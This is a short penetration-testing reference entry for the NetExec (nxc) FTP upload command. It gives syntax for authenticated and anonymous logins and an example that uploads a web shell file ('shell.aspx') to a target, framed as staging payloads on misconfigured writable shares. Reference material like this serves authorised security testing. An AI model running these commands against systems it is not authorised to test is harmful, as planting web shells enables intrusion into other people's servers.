NetExec FTP Upload

Upload a file to an FTP server. Useful for staging payloads on misconfigured anonymous-writable shares.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Utilities / File Transfer
Platform: linux
Requires: password
Protocols: FTP

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Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ftp <target> -u '<user>' -p '<password>' --put <local-file>

Credential variants

The same attack using a different authentication material.

Anonymous requires no credentials

nxc ftp <target> -u 'anonymous' -p '' --put <local-file>

Examples

nxc ftp 10.10.10.10 -u anonymous -p '' --put shell.aspx

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